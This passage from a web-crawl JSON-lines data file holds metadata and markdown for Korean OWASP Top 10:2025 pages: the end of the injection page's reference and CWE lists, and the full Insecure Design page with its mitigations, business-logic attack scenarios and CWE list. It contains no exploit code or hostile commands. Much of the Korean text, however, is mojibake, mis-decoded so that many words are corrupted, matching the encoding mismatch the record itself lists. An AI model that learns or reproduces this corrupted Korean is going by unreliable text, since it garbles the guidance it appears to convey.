Injection,](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection) [Command Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/12-Testing_for_Command_Injection) , and [ORM Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05.7-Testing_for_ORM_Injection)\n- [OWASP Cheat Sheet: Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: SQL Injection Prevention](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n- [OWASP Cheat Sheet: Injection Prevention in Java](https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html)\n- [OWASP Cheat Sheet: Query Parameterization](https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html)\n- [OWASP Automated Threats to Web Applications – OAT-014](https://owasp.org/www-project-automated-threats-to-web-applications/)\n- [PortSwigger: Server-side template injection](https://portswigger.net/kb/issues/00101080_serversidetemplateinjection)\n- [Awesome Fuzzing: a list of fuzzing resources](https://github.com/secfigo/Awesome-Fuzzing)\n\n## 해당되는 CWE 목록.\n\n- [CWE-20 Improper Input Validation](https://cwe.mitre.org/data/definitions/20.html)\n- [CWE-74 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')](https://cwe.mitre.org/data/definitions/74.html)\n- [CWE-76 Improper Neutralization of Equivalent Special Elements](https://cwe.mitre.org/data/definitions/76.html)\n- [CWE-77 Improper Neutralization of Special Elements used in a Command ('Command Injection')](https://cwe.mitre.org/data/definitions/77.html)\n- [CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')](https://cwe.mitre.org/data/definitions/78.html)\n- [CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')](https://cwe.mitre.org/data/definitions/79.html)\n- [CWE-80 Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)](https://cwe.mitre.org/data/definitions/80.html)\n- [CWE-83 Improper Neutralization of Script in Attributes in a Web Page](https://cwe.mitre.org/data/definitions/83.html)\n- [CWE-86 Improper Neutralization of Invalid Characters in Identifiers in Web Pages](https://cwe.mitre.org/data/definitions/86.html)\n- [CWE-88 Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')](https://cwe.mitre.org/data/definitions/88.html)\n- [CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')](https://cwe.mitre.org/data/definitions/89.html)\n- [CWE-90 Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')](https://cwe.mitre.org/data/definitions/90.html)\n- [CWE-91 XML Injection (aka Blind XPath Injection)](https://cwe.mitre.org/data/definitions/91.html)\n- [CWE-93 Improper Neutralization of CRLF Sequences ('CRLF Injection')](https://cwe.mitre.org/data/definitions/93.html)\n- [CWE-94 Improper Control of Generation of Code ('Code Injection')](https://cwe.mitre.org/data/definitions/94.html)\n- [CWE-95 Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')](https://cwe.mitre.org/data/definitions/95.html)\n- [CWE-96 Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')](https://cwe.mitre.org/data/definitions/96.html)\n- [CWE-97 Improper Neutralization of Server-Side Includes (SSI) Within a Web Page](https://cwe.mitre.org/data/definitions/97.html)\n- [CWE-98 Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')](https://cwe.mitre.org/data/definitions/98.html)\n- [CWE-99 Improper Control of Resource Identifiers ('Resource Injection')](https://cwe.mitre.org/data/definitions/99.html)\n- [CWE-103 Struts: Incomplete validate() Method Definition](https://cwe.mitre.org/data/definitions/103.html)\n- [CWE-104 Struts: Form Bean Does Not Extend Validation Class](https://cwe.mitre.org/data/definitions/104.html)\n- [CWE-112 Missing XML Validation](https://cwe.mitre.org/data/definitions/112.html)\n- [CWE-113 Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Response Splitting')](https://cwe.mitre.org/data/definitions/113.html)\n- [CWE-114 Process Control](https://cwe.mitre.org/data/definitions/114.html)\n- [CWE-115 Misinterpretation of Output](https://cwe.mitre.org/data/definitions/115.html)\n- [CWE-116 Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html)\n- [CWE-129 Improper Validation of Array Index](https://cwe.mitre.org/data/definitions/129.html)\n- [CWE-159 Improper Handling of Invalid Use of Special Elements](https://cwe.mitre.org/data/definitions/159.html)\n- [CWE-470 Use of Externally-Controlled Input to Select Classes or Code ('Unsafe Reflection')](https://cwe.mitre.org/data/definitions/470.html)\n- [CWE-493 Critical Public Variable Without Final Modifier](https://cwe.mitre.org/data/definitions/493.html)\n- [CWE-500 Public Static Field Not Marked Final](https://cwe.mitre.org/data/definitions/500.html)\n- [CWE-564 SQL Injection: Hibernate](https://cwe.mitre.org/data/definitions/564.html)\n- [CWE-610 Externally Controlled Reference to a Resource in Another Sphere](https://cwe.mitre.org/data/definitions/610.html)\n- [CWE-643 Improper Neutralization of Data within XPath Expressions ('XPath Injection')](https://cwe.mitre.org/data/definitions/643.html)\n- [CWE-644 Improper Neutralization of HTTP Headers for Scripting Syntax](https://cwe.mitre.org/data/definitions/644.html)\n- [CWE-917 Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')](https://cwe.mitre.org/data/definitions/917.html)", "znaku_textu": 13129, "slov": 1384, "odkazu": 86, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:37", "sha256": "856a4f1a0383e55b4de705f343cc6d6c6a5047f3182658f9df1709bb18ee1a86", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://genai.owasp.org/llm-top-10/", "https://genai.owasp.org/llmrisk/llm01-prompt-injection/", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html", "https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet_in_Java.html", "https://cheatsheetseries.owasp.org/cheatsheets/Query_Parameterization_Cheat_Sheet.html", "https://portswigger.net/kb/issues/00101080_serversidetemplateinjection", "https://github.com/secfigo/Awesome-Fuzzing", "https://cwe.mitre.org/data/definitions/20.html", "https://cwe.mitre.org/data/definitions/74.html", "https://cwe.mitre.org/data/definitions/76.html", "https://cwe.mitre.org/data/definitions/77.html", "https://cwe.mitre.org/data/definitions/78.html", "https://cwe.mitre.org/data/definitions/79.html", "https://cwe.mitre.org/data/definitions/80.html", "https://cwe.mitre.org/data/definitions/83.html", "https://cwe.mitre.org/data/definitions/86.html", "https://cwe.mitre.org/data/definitions/88.html", "https://cwe.mitre.org/data/definitions/89.html", "https://cwe.mitre.org/data/definitions/90.html", "https://cwe.mitre.org/data/definitions/91.html", "https://cwe.mitre.org/data/definitions/93.html", "https://cwe.mitre.org/data/definitions/94.html", "https://cwe.mitre.org/data/definitions/95.html", "https://cwe.mitre.org/data/definitions/96.html", "https://cwe.mitre.org/data/definitions/97.html", "https://cwe.mitre.org/data/definitions/98.html", "https://cwe.mitre.org/data/definitions/99.html", "https://cwe.mitre.org/data/definitions/103.html", "https://cwe.mitre.org/data/definitions/104.html", "https://cwe.mitre.org/data/definitions/112.html", "https://cwe.mitre.org/data/definitions/113.html", "https://cwe.mitre.org/data/definitions/114.html", "https://cwe.mitre.org/data/definitions/115.html", "https://cwe.mitre.org/data/definitions/116.html", "https://cwe.mitre.org/data/definitions/129.html", "https://cwe.mitre.org/data/definitions/159.html", "https://cwe.mitre.org/data/definitions/470.html", "https://cwe.mitre.org/data/definitions/493.html", "https://cwe.mitre.org/data/definitions/500.html", "https://cwe.mitre.org/data/definitions/564.html", "https://cwe.mitre.org/data/definitions/610.html", "https://cwe.mitre.org/data/definitions/643.html", "https://cwe.mitre.org/data/definitions/644.html", "https://cwe.mitre.org/data/definitions/917.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": "https://owasp.org/Top10/2025/ko/A06_2025-Insecure_Design/", "titulek": "A06 ě•ˆě „í•˜ě§€ 않은 설계 - OWASP Top 10:2025", "h1": "A06:2025 ě•ˆě „í•˜ě§€ 않은 설계", "popis": "OWASP Top 10:2025", "klicova_slova": "", "kanonicka": "https://owasp.org/Top10/2025/ko/A06_2025-Insecure_Design/", "jazyk": "ko", "robots_meta": "", "og": {}, "jsonld": [], "drobecky": [], "osnova": [{"uroven": 1, "text": "A06:2025 ě•ˆě „í•˜ě§€ 않은 설계"}, {"uroven": 2, "text": "배경."}, {"uroven": 2, "text": "ě ěˆ˜í‘œ."}, {"uroven": 2, "text": "설명."}, {"uroven": 3, "text": "요구사항 수집 및 리소스 관리"}, {"uroven": 3, "text": "ě•ˆě „í•œ 설계"}, {"uroven": 3, "text": "보안 개발 생명주기"}, {"uroven": 2, "text": "대응 방안."}, {"uroven": 2, "text": "곾겊 시나리오 예시."}, {"uroven": 2, "text": "참쥰."}, {"uroven": 2, "text": "해당되는 CWE 목록."}], "markdown": "# A06:2025 ě•ˆě „í•˜ě§€ 않은 설계\n\n## 배경.\n\ně•ˆě „í•˜ě§€ 않은 설계는 **[A02:2025-보안 ě„¤ě • 오뼘](../A02_2025-Security_Misconfiguration/)**와 **[A03:2025-소프트웨어 공급망 실패](../A03_2025-Software_Supply_Chain_Failures/)**가 이를 추월함에 따라, 순위에서 4위에서 6위로 두 울 하락했다. 이 ěš´í…Œęł ëŚŹëŠ” 2021년에 도입되었으며, 이후 업계 ě „ë°˜ě—ě„œ 위협 모델링의 ě ěšŠě´ í™•ëŒ€ë˜ęł ëł´ě•ˆ 설계에 대한 강조가 강화되는 등 눈에 띄는 ę°œě„ ě´ 관찰되었다. 이 ěš´í…Œęł ëŚŹëŠ” 설계 및 아키텍처 결함과 ę´€ë ¨ëœ 위험에 ě´ˆě ě„ 맞추며, 더 많은 위협 모델링, ě•ˆě „í•œ 설계 패턴, ęˇ¸ëŚŹęł ë ˆíźëŸ°ěŠ¤ 아키텍처 사용을 요구한다. 이 ěš´í…Œęł ëŚŹě—ëŠ” 비즈니스 로직 ěˇ¨ě•˝ě ë„ 포함된다. 예뼟 들면, ě• í”ŒëŚŹěź€ě´ě…˜ě´ 가질 수 있는 단계(상태)와 각 단계가 서로 바뀔 수 있는 조건을 명확히 ě •ě˜í•˜ě§€ 않으면, 예상욘 못한 변경을 ěœ ë„í•˜ě—Ź 시스템을 ęłľę˛Ší• ěˆ˜ 있다. 커뮤니티 차원에서 코딩 단계의 \"시프트-ë ˆí”„íŠ¸(shift-left)\"에 머무르지 ě•Šęł , Secure by Design의 원칙에 중요하게 기여하는 코딩 ě´ě „ě˜ 활동(예: 요구사항 작성 및 ě• í”ŒëŚŹěź€ě´ě…˜ 설계)까지 확장해야 한다. 이를 위해 **[í˜„ëŒ€ě  ě• í”ŒëŚŹěź€ě´ě…˜ 보안 체계 수댽: 기획 및 설계 단계](../0x03_2025-Establishing_a_Modern_Application_Security_Program/)**뼟 ě°¸ęł í•˜ëź. ëŒ€í‘œě ě¸ CWE로는 *CWE-256: 자격 증명 ě €ěžĽ 보호 미흡, CWE-269 권한 관리 오뼘, CWE-434 위험한 파일 형식 업로드 ě œí•œ 미흡, CWE-501: ě‹ ë˘° 경계 위반, ęˇ¸ëŚŹęł CWE-522: 자격 증명 보호 불충분*이 있다.\n\n## ě ěˆ˜í‘œ.\n\n| 해당되는 CWE 개수 | 최대 ěˇ¨ě•˝ě  ë°œěƒëĽ | í‰ęˇ ěˇ¨ě•˝ě  ë°œěƒëĽ | 최대 테스트 커버리지 | í‰ęˇ í…ŒěŠ¤íŠ¸ 커버리지 | í‰ęˇ ę°€ě¤‘ 악용도 | í‰ęˇ ę°€ě¤‘ 영향도 | 총 발생 깴수 | 총 CVE 깴수 |\n| --- | --- | --- | --- | --- | --- | --- | --- | --- |\n| 39 | 22.18% | 1.86% | 88.76% | 35.18% | 6.96 | 4.05 | 729,882 | 7,647 |\n\n## 설명.\n\ně•ˆě „í•˜ě§€ 않은 설계는 다양한 ěœ í˜•ě˜ ě•˝ě ě„ 포괄하는 범주로, 주로 \"ëš ěĄŒęą°ë‚˜ ëš„íš¨ęłźě ě¸ í†ľě œ 설계\"로 나타난다. 또한 이 ěš´í…Œęł ëŚŹę°€ 다른 ëŞ¨ë“ Top 10 위험의 ꡟ본 ě›ě¸ě´ëźęł ëł´ę¸°ëŠ” ě–´ë ľë‹¤. ě•ˆě „í•˜ě§€ 않은 설계와 ě•ˆě „í•˜ě§€ 않은 구현은 차이가 있어 구분되어야 하며, 설계 결함과 구현 결함은 ꡟ본 원인이 다르며, 개발 ęłźě •ě—ě„œě˜ 발생 ě‹œě ě´ ë‹¤ëĽ´ęł , ęˇ¸ëŚŹęł ę°œě„ ë°Šë˛•ë„ 다르다. ě•ˆě „í•œ 설계를 하더라도 구현상 결함을 가질 수 있으며, 이에 따라 ěˇ¨ě•˝ě ě´ ë°œěƒí• ěˆ˜ 있다. ě•ˆě „í•˜ě§€ 않은 설계는 필요한 보안 í†ľě œę°€ íŠšě • 공격에 대해 방어하기 위해 대비되지 않았기 때문에, 완벽한 구현만으로는 ěˆ˜ě •ë ěˆ˜ 없다. ě•ˆě „í•˜ě§€ 않은 설계의 원인 중 하나는 개발 대상 소프트웨어 및 시스템에 대한 비즈니스 리스크 프로파일링이 부족한 것이며, ꡸ 결곟 요구되는 보안 설계 수준을 ě ě ˆížˆ ě‚°ě •í•˜ě§€ 못하는 것이다.\n\n보안 설계를 갖추기 위한 세 가지 핵심 구성요소는 다음과 같다.\n\n- 요구사항 수집 및 리소스 관리\n- ě•ˆě „í•œ 설계 수댽\n- 보안 개발 생명주기(Secure Development Lifecycle, SDLC) ëł´ěœ\n\n### 요구사항 수집 및 리소스 관리\n\n비즈니스 부서와 협업하여 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 비즈니스 요구사항을 수집 및 조율하며, ëŞ¨ë“ ë°ě´í„° 자산과 예상되는 비즈니스 로직에 대해 기밀성, 무결성, 가용성, 인증성 ę´€ě ě˜ 보호 요구사항을 함께 ě •ě˜í•œë‹¤. ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 대외 노출 수준을 ęł ë ¤í•˜ęł , ęˇ¸ëŚŹęł ë‹¨ěˆœ ě ‘ęˇź ě œě–´ 수준을 넘어서는 테넌트 격리가 필요한지 아닌지를 ęł ë ¤í•˜ëź. 기능 요구사항뿐 아니라 비기능 보안 요구사항까지 포함해 ę¸°ěˆ ěš”ęľŹě‚Źí•­ě„ ě •ëŚŹí•œë‹¤. 또한, 보안 활동을 포함한 설계, 구축, 테스트, 운영 ě „ë°˜ě„ 포괄하는 예산을 ęł„íší•˜ęł í˜‘ě˜í•˜ëź.\n\n### ě•ˆě „í•œ 설계\n\ně•ˆě „í•œ 설계는 ě§€ě†ě ěœźëĄœ 위협을 í‰ę°€í•˜ęł , ě•Œë ¤ě§„ 곾겊 기법을 방지하기 위해 코드가 ę˛Źęł í•˜ę˛Œ ě„¤ęł„ë˜ęł í…ŒěŠ¤íŠ¸ 되도록 보장하는 문화이자 ë°Šë˛•ëĄ ě´ë‹¤. 위협 모델링은 요구사항 ę°œě„ (refinement) 단계(혹은 ěœ ě‚Źí•œ 활동)에 내재화되어야 하며, 이 ęłźě •ě—ě„œ 데이터 흐름과 ě ‘ęˇź ě œě–´ 또는 기타 보안 í†ľě œě˜ 변화를 중심으로 ę˛€í† í•´ě•ź 한다. ěœ ě € ěŠ¤í† ëŚŹëĽź ěž‘ě„ąí• ë•Œ ě •ěƒ 흐름과 실패 흐름을 ę˛°ě •í•˜ęł , 책임 당사자 및 영향받는 당사자가 이를 충분히 ě´í•´í•˜ęł í•Šě˜í–ˆëŠ”ě§€ 확인하라. 또한 ě •ěƒęłź 실패 흐름에 대한 ę°€ě •ęłź 조건을 분석하여 ě •í™•í•˜ęł ë°”ëžŒě§í•œ 상태로 ěœ ě§€ë˜ëŠ”ě§€ 확인하라. 올바른 동작을 위해 필요한 ę°€ě •ęłź 조건을 어떻게 ę˛€ěŚí•˜ęł ę°•ě œí• ě§€ ę˛°ě •í•œë‹¤. 이 결과는 ěœ ě € ěŠ¤í† ëŚŹě— 문서화되어야 한다. ęłźě • 중에 발생하는 실수로부터 í•™ěŠľí•˜ęł , ę°œě„ ě„ 촉진하기 위해 ę¸ě •ě  인센티브를 ě œęłľí•˜ëź. 마지막으로, ě•ˆě „í•œ 설계는 개발이 완료된 이후에 ěś”ę°€í• ěˆ˜ 있는 부가 기능도 ě•„ë‹ˆęł ë„ęľŹë„ 아니다.\n\n### 보안 개발 생명주기\n\ně•ˆě „í•œ 소프트웨어에는 보안 개발 생명주기, ě•ˆě „í•œ 설계 패턴, 포장된 도로(가장 ě‰˝ęł ě„ í˜¸ë˜ëŠ” 방법이 동시에 가장 ě•ˆě „í•œ 방법이 되도록 하는 것) ë°Šë˛•ëĄ , ě•ˆě „í•œ 컴포넌트 라이브러리, ě ě ˆí•œ 도구, 위협 모델링, ęˇ¸ëŚŹęł í”„ëĄœě„¸ěŠ¤ëĽź ę°œě„ í•˜ę¸° 위해 사용되는 ě‚Źęł íŹěŠ¤íŠ¸ëŞ¨í…œ(post-mortem)이 필요하다. 소프트웨어 í”„ëĄœě íŠ¸ 초기부터 보안 ě „ëŹ¸ę°€ě™€ í˜‘ě—…í•˜ęł , 개발 ě „ě˛´ ęłźě • 및 소프트웨어 ěœ ě§€ëł´ěˆ˜ 단계에서도 ě§€ě†ě ěœźëĄœ 협업해야 한다. 보안 개발 활동을 체계화하기 위해 [OWASP 소프트웨어 보증 성숙도 모델(Software Assurance Maturity Model, SAMM](https://owaspsamm.org/)와 같은 성숙도 모델을 ě°¸ęł í•˜ëŠ” 방안을 ęł ë ¤í•˜ëź.\n\n개발자가 보안에 대해 ěŁźë„ě ěœźëĄœ ěą…ěž„ě ¸ě•ź 한다는 인식이 종종 부족하다. 보안 인식과 책임감을 ę°•í™”í•˜ęł , 위험을 ě‚Źě „ě— ě™„í™”í•˜ë ¤ëŠ” 문화를 조성하라. 보안에 관한 ě •ę¸°ě ě¸ 꾐뼘(예: 위협 모델링 세션 도중)는 ëŞ¨ë“ ě¤‘ěš”í•œ 설계 ě˜ě‚Źę˛°ě •ě— 보안을 포함시키기 위한 마인드셋을 í˜•ě„ąí• ěˆ˜ 있다.\n\n## 대응 방안.\n\n- 보안 및 프라이버시 ę´€ë ¨ í†ľě œëĽź í‰ę°€í•˜ęł ě„¤ęł„í•˜ëŠ” 데 도움받기 위해 ě• í”ŒëŚŹěź€ě´ě…˜ 보안 ě „ëŹ¸ę°€ě™€ 함께 ě•ˆě „í•œ 개발 생명주기(SDLC)뼟 ěˆ˜ëŚ˝í•˜ęł ěš´ě˜í•˜ëź.\n- ě•ˆě „í•œ 설계 패턴과 포장된 도로 컴포넌트를 라이브러리화하여 사용한다.\n- 인증, ě ‘ęˇź ě œě–´, 비즈니스 로직, 핵심 처댏 흐름과 같은 ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 중요한 부분을 위협 모델링한다.\n- 보안 마인드셋을 생성하기 위한 교육 도구로서 위협 모델링을 사용하라.\n- ěœ ě € ěŠ¤í† ëŚŹě— 보안 요구사항과 보안 í†ľě œëĽź 반영하라.\n- ě• í”ŒëŚŹěź€ě´ě…˜ě˜ 각 계층(í”„ëĄ íŠ¸ě—”ë“œëś€í„° 백엔드까지)에 요청과 데이터가 타당한지 검증하는 ě ˆě°¨ëĽź 추가한다.\n- 위협 모델에 기반해 핵심 흐름이 ě•ˆě „í•œě§€ 검증하는 단위 및 통합 테스트를 ęľŹí˜„í•˜ęł , ě• í”ŒëŚŹěź€ě´ě…˜ 계층별 ě •ěƒ 시나리오 *와* 악용 시나리오를 취합한다.\n- 외부 노출 수준과 보호 필요도에 따라 시스템 및 네트워크 ë ˆë˛¨ě—ě„œ 분리한다.\n- ě „ 계층에 깸쳐 설계 단계부터 테넌트 겊댏(tenant isolation)뼟 강하게 보장한다.\n- ě „ 계층에서 테넌트를 ęľŹěĄ°ě ěœźëĄœ 격리되도록 하라.\n\n## 곾겊 시나리오 예시.\n\n**시나리오 1:** ęł„ě • 볾꾏 ě ˆě°¨ě— \"질돸-답변 방식\"을 넣는 경우가 있는데, 이는 NIST 800-63b, OWASP ASVS 및 OWASP Top 10에서 금지하는 설계다. 질돸-답변은 여러 사람이 답을 ě•Œęł ěžˆě„ 수 있어 본인 확인의 근거로 ě‹ ë˘°í•˜ę¸° ě–´ë ľë‹¤. 따라서 해당 기능은 ě œęą°í•˜ęł , 보다 ě•ˆě „í•œ 볾꾏 설계로 대체하는 것이 바람직하다.\n\n**시나리오 2:** 한 영화관 체인이 단체 예매 í• ě¸ ě •ěą…ě„ 운용하며, 참석 인원이 15명을 초과하면 보증금을 ěš”ęľŹí•œë‹¤ęł ę°€ě •í•œë‹¤. 공격자는 이 예약 흐름을 위협 모델링한 뒤 비즈니스 로직의 í—ˆě ě„ 찾아, 몇 번의 요청(14명으로 여러번)만으로 ě „ ě§€ě ě— 깸쳐 좌석 600석을 동시에 예약해 매출 손실을 ěœ ë°œí• ěˆ˜ 있다.\n\n**시나리오 3:** 한 ěœ í†ľ 체인의 ě „ěžěƒęą°ëž˜ 사이트가 리셀러 꾏매 봇을 차단하지 못하면, ęł ę°€ 그래픽카드가 대량 매집되어 리셀 채널로 흘러갈 수 있다. 이는 ě œěĄ°ě‚Źě™€ ěœ í†ľě‚Ź 모두에 대한 ëś€ě •ě  ě—ŹëĄ ě„ ě´ˆëž˜í•˜ęł , 해당 ě œí’ˆě„ 어떤 가격에서도 ęľŹí• ěˆ˜ 없었던 마니아층의 반감을 장기화한다. ě œí’ˆ 판매 개시 직후 ęˇšë‹¨ě ěœźëĄœ 짧은 시간 내 꾏매, ëš„ě •ěƒ 다량 꾏매 등 도메인 규칙 기반의 봇 방어 설계를 ě ěšŠí•˜ëŠ´, ëš„ě •ěƒ 꾏매뼟 탐지해 거래를 ęą°ě ˆí• ěˆ˜ 있다.\n\n## 참쥰.\n\n- [OWASP Cheat Sheet: Secure Design Principles](https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html)\n- [OWASP SAMM: Design | Secure Architecture](https://owaspsamm.org/model/design/secure-architecture/)\n- [OWASP SAMM: Design | Threat Assessment](https://owaspsamm.org/model/design/threat-assessment/)\n- [NIST – Guidelines on Minimum Standards for Developer Verification of Software](https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software)\n- [The Threat Modeling Manifesto](https://threatmodelingmanifesto.org/)\n- [Awesome Threat Modeling](https://github.com/hysnsec/awesome-threat-modelling)\n\n## 해당되는 CWE 목록.\n\n- [CWE-73 External Control of File Name or Path](https://cwe.mitre.org/data/definitions/73.html)\n- [CWE-183 Permissive List of Allowed Inputs](https://cwe.mitre.org/data/definitions/183.html)\n- [CWE-256 Unprotected Storage of Credentials](https://cwe.mitre.org/data/definitions/256.html)\n- [CWE-266 Incorrect Privilege Assignment](https://cwe.mitre.org/data/definitions/266.html)\n- [CWE-269 Improper Privilege Management](https://cwe.mitre.org/data/definitions/269.html)\n- [CWE-286 Incorrect User Management](https://cwe.mitre.org/data/definitions/286.html)\n- [CWE-311 Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [CWE-312 Cleartext Storage of Sensitive Information](https://cwe.mitre.org/data/definitions/312.html)\n- [CWE-313 Cleartext Storage in a File or on Disk](https://cwe.mitre.org/data/definitions/313.html)\n- [CWE-316 Cleartext Storage of Sensitive Information in Memory](https://cwe.mitre.org/data/definitions/316.html)\n- [CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-382 J2EE Bad Practices: Use of System.exit()](https://cwe.mitre.org/data/definitions/382.html)\n- [CWE-419 Unprotected Primary Channel](https://cwe.mitre.org/data/definitions/419.html)\n- [CWE-434 Unrestricted Upload of File with Dangerous Type](https://cwe.mitre.org/data/definitions/434.html)\n- [CWE-436 Interpretation Conflict](https://cwe.mitre.org/data/definitions/436.html)\n- [CWE-444 Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling')](https://cwe.mitre.org/data/definitions/444.html)\n- [CWE-451 User Interface (UI) Misrepresentation of Critical Information](https://cwe.mitre.org/data/definitions/451.html)\n- [CWE-454 External Initialization of Trusted Variables or Data Stores](https://cwe.mitre.org/data/definitions/454.html)\n- [CWE-472 External Control of Assumed-Immutable Web Parameter](https://cwe.mitre.org/data/definitions/472.html)\n- [CWE-501 Trust Boundary Violation](https://cwe.mitre.org/data/definitions/501.html)\n- [CWE-522 Insufficiently Protected Credentials](https://cwe.mitre.org/data/definitions/522.html)\n- [CWE-525 Use of Web Browser Cache Containing Sensitive Information](https://cwe.mitre.org/data/definitions/525.html)\n- [CWE-539 Use of Persistent Cookies Containing Sensitive Information](https://cwe.mitre.org/data/definitions/539.html)\n- [CWE-598 Use of GET Request Method With Sensitive Query Strings](https://cwe.mitre.org/data/definitions/598.html)\n- [CWE-602 Client-Side Enforcement of Server-Side Security](https://cwe.mitre.org/data/definitions/602.html)\n- [CWE-628 Function Call with Incorrectly Specified Arguments](https://cwe.mitre.org/data/definitions/628.html)\n- [CWE-642 External Control of Critical State Data](https://cwe.mitre.org/data/definitions/642.html)\n- [CWE-646 Reliance on File Name or Extension of Externally-Supplied File](https://cwe.mitre.org/data/definitions/646.html)\n- [CWE-653 Insufficient Compartmentalization](https://cwe.mitre.org/data/definitions/653.html)\n- [CWE-656 Reliance on Security Through Obscurity](https://cwe.mitre.org/data/definitions/656.html)\n- [CWE-657 Violation of Secure Design Principles](https://cwe.mitre.org/data/definitions/657.html)\n- [CWE-676 Use of Potentially Dangerous Function](https://cwe.mitre.org/data/definitions/676.html)\n- [CWE-693 Protection Mechanism Failure](https://cwe.mitre.org/data/definitions/693.html)\n- [CWE-799 Improper Control of Interaction Frequency](https://cwe.mitre.org/data/definitions/799.html)\n- [CWE-807 Reliance on Untrusted Inputs in a Security Decision](https://cwe.mitre.org/data/definitions/807.html)\n- [CWE-841 Improper Enforcement of Behavioral Workflow](https://cwe.mitre.org/data/definitions/841.html)\n- [CWE-1021 Improper Restriction of Rendered UI Layers or Frames](https://cwe.mitre.org/data/definitions/1021.html)\n- [CWE-1022 Use of Web Link to Untrusted Target with window.opener Access](https://cwe.mitre.org/data/definitions/1022.html)\n- [CWE-1125 Excessive Attack Surface](https://cwe.mitre.org/data/definitions/1125.html)", "znaku_textu": 13988, "slov": 1522, "odkazu": 84, "kodovani": "iso-8859-2", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 10:09:38", "sha256": "4aaef418d40357f08f620975d99e20687c7f4f86069fe7d8583cda9de75f3f8f", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://github.com/OWASP/Top10", "https://owaspsamm.org/", "https://cheatsheetseries.owasp.org/cheatsheets/Secure_Product_Design_Cheat_Sheet.html", "https://owaspsamm.org/model/design/secure-architecture/", "https://owaspsamm.org/model/design/threat-assessment/", "https://www.nist.gov/publications/guidelines-minimum-standards-developer-verification-software", "https://threatmodelingmanifesto.org/", "https://github.com/hysnsec/awesome-threat-modelling", "https://cwe.mitre.org/data/definitions/73.html", "https://cwe.mitre.org/data/definitions/183.html", "https://cwe.mitre.org/data/definitions/256.html", "https://cwe.mitre.org/data/definitions/266.html", "https://cwe.mitre.org/data/definitions/269.html", "https://cwe.mitre.org/data/definitions/286.html", "https://cwe.mitre.org/data/definitions/311.html", "https://cwe.mitre.org/data/definitions/312.html", "https://cwe.mitre.org/data/definitions/313.html", "https://cwe.mitre.org/data/definitions/316.html", "https://cwe.mitre.org/data/definitions/362.html", "https://cwe.mitre.org/data/definitions/382.html", "https://cwe.mitre.org/data/definitions/419.html", "https://cwe.mitre.org/data/definitions/434.html", "https://cwe.mitre.org/data/definitions/436.html", "https://cwe.mitre.org/data/definitions/444.html", "https://cwe.mitre.org/data/definitions/451.html", "https://cwe.mitre.org/data/definitions/454.html", "https://cwe.mitre.org/data/definitions/472.html", "https://cwe.mitre.org/data/definitions/501.html", "https://cwe.mitre.org/data/definitions/522.html", "https://cwe.mitre.org/data/definitions/525.html", "https://cwe.mitre.org/data/definitions/539.html", "https://cwe.mitre.org/data/definitions/598.html", "https://cwe.mitre.org/data/definitions/602.html", "https://cwe.mitre.org/data/definitions/628.html", "https://cwe.mitre.org/data/definitions/642.html", "https://cwe.mitre.org/data/definitions/646.html", "https://cwe.mitre.org/data/definitions/653.html", "https://cwe.mitre.org/data/definitions/656.html", "https://cwe.mitre.org/data/definitions/657.html", "https://cwe.mitre.org/data/definitions/676.html", "https://cwe.mitre.org/data/definitions/693.html", "https://cwe.mitre.org/data/definitions/799.html", "https://cwe.mitre.org/data/definitions/807.html", "https://cwe.mitre.org/data/definitions/841.html", "https://cwe.mitre.org/data/definitions/1021.html", "https://cwe.mitre.org/data/definitions/1022.html", "https://cwe.mitre.org/data/definitions/1125.html", "http://creativecommons.org/licenses/by/3.0/deed.en_US", "https://squidfunk.github.io/mkdocs-material/"]} {"url": 